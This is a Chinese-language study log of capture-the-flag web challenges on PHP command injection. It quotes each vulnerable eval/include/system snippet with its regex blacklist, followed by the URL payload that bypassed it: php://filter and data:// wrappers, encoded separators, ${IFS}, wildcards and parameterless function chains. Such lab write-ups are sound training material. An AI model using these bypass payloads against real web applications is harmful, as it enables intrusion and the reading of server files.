ctf.shou wed入门:29~124做题笔记:命令执行 29~50
随着做题数量的增加有些内容做一些笔记时非常有必要的,不但可以让自己温故而知新还能督查自己。
每天一点小知识
读取:
{php://filter/read=convert.base64-encode/resource}
php://filter/convert.base64-encode/resource
输入:
{eval include require}
{passthru system}
伪协议:
file=data://text/plain,
data协议可以将后面字符啥的变成php代码执行可以在plain后面加个base然后将后面代码改成base加密饶过禁用php字符问题
可以替用但不是100%对滴!
PHP
在短标签的开时候且php字段被禁用可以用 = 或不写来替代
shell
shell:根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,
然后对特殊字符进行处理,最后重新组合赋值给该变量
shell :指令>/dev/null 2>&1可以用双写绕过也可用命令分隔符**||**截断
{
cmd1 | cmd2 只显示cmd2结果
cmd1 ; cmd2 无论cmd1是否成功执行,都执行cmd2
cmd1 || cmd2 cmd1执行失败时才执行cmd2
cmd1 && cmd2 cmd1执行成功时才执行cmd2
}
linux
nl指令 nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。
提示:以下是本篇文章正文内容,由于本人巨菜下面案例仅供参考
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这是一个简单的过滤 flag 字符,我们先 ls 打开后发现 flag
我们使用匹配符进行饶过url/?c=system(“cat f*”);查看F12源代码
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个依旧是个过滤不过 system 我们不能用了到我们可以在网上找到许多替代的如 c=passthru(‘tac f*’);passthru来替代system 用f*来匹配flag
其实·我们还可以用 url/?c=‘cp fla?.??? 1.txt’;?是占位符可以表示flag的后缀,用cp 来将flag复制到1.txt中然后再打开1.txt
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个也是过滤不过这个过滤更多了可以使用嵌套它是对$c的过滤于是我们可以url/?c=eval(“&_GET[1]”);对c进行替换然后&1=system(“cat flag.php”);然后查看源代码
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个禁用的有点小多但还是可以借用上个思路的但是eval()不行了需要换一个include()两者区别
/*file_get_contents() 函数是用于将文件的内容读入到一个字符串中,eval()可以执行这个语句。
include() 语句包含并运行指定文件。引用文件的时候最好用include包含进去*/
即url/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php将flag转成base64进行输出 注 禁用 ;但php最后一行不用;即;可以用 ?>代替
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个题完全可以用上个题白兰但咸鱼也是有追求的我用其他的试试c=require%0a$_GET[1]>%3E&1=php://filter/read=convert.base64-encode/resource=flag.php
base64解码即可
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题和前面的一样一个姿势具续躺
url/?c=include&_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题和前面的一样一个姿势具续躺
url/?c=include&_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题和前面的一样一个姿势具续躺不过由于吧数字禁用了将其改成字母就行
url/?c=include&_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这题有与下面那个include($c)使得上面的方法不能用了,推测考点可能是伪协议用data协议进行测试 url/?c=data://text/plan,
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这个题与上面那个差不多也是伪协议但这个吧php禁用了导致 data://text/plan,**php** ?>不能用了但是我们可以用一个等号来代替 url/?c=data://text/plan,=system("tac f*")?>
这是短标签的用法但如果人家没有开就不能用这种做法
另一种就是通过data协议将将其改写成base来绕过
data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这个题和上面的一样不过多个 .php 但前面那个语句已经完结所以不影响url/?c=data://text/plan,
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题禁用的嘎嘎多甚至$都不能用了,我也是看了很多大佬的解析才略微看懂总之就是无参函数然后吧flag一点一点调用出来(从里到外看比较好)
方法:hint
url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
pos函数返回数组中当前元素(指针指向)的值
scandir函数返回指定目录中的文件和数组
array_reverse将数组倒序输出
next将指针指向数组的下一个元素并输出
show_source对文件进行语法高亮显示,是highlight_file()别名
得出flag 还有一种是通过koinlk
法2:通过查看文件并更该post的值来得出flag具体请点击此链接查看大佬的解析
明人不说暗话这题不会,看了很久WP依旧不会春春废物
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
shell :指令>/dev/null 2>&1将返回值都丢了就是无返回值,但这题可以采用双写绕过url/?c=ls;ls
即得出flag url/?c=tac flag.php;ls
可以看一下大佬的解释
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这个禁用了cat 但是禁用cat关我tac什么事呢!有个 ; 又如何咱有换行符%0a
url/?c=tac flag.php%0als
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这个和前面那差距不大只需结合前面过滤的题 url/?c=tac f*%0als即可得出flag
<?phh
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
此题可以用上一个姿势过但是空格和 ;被禁用只能另寻蹊径采用
shell{cmd1 && cmd2 cmd1执行成功时才执行cmd2}来代替分号空格符可以查询ascii来找可以替代的
Tab键不就是空格吗即url/?c=cheo%09f*%26%26ls 注在url中要将&&转换成url编码
得出flag
此题还可用
shell:IFS 的值,默认是 space, tab, newline 来拆解读入的变量,
然后对特殊字符进行处理,最后重新组合赋值给该变量
来进行替换 url/?c=cheo${IFS}f*%26%26ls
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
人生如果不白兰那还能怎末滴!无非多禁用几个字符罢了能咋地
url/?c=tac%09f???%26%26ls还是这个姿势禁用的就用?让其匹配吧
flag的命运一直在手里嘿嘿
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
禁用的很多不过又想啥都没禁用url/?c=tac%09f???%26%26ls一个姿势甚至不用修改
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
看着禁用了%其实还能用因为%26 %09 是url的编码算是识别吧与禁用的%无关
url/?c=tac%09f???%26%26ls一个姿势接着过
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
此题无非就是多个TAB不让用而已完全可以用 < 替代啊
姿势诞生url/?c=tac
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这个题可以用 linux nl指令+ shell指令
url/?c=nl<>fla’'g.php|| 得出1查看源代码得出flag
每天一练!!!明天再战!!!
(前面的爆破信息搜集周天补齐)(同时感谢师傅们的文章对我受益很大)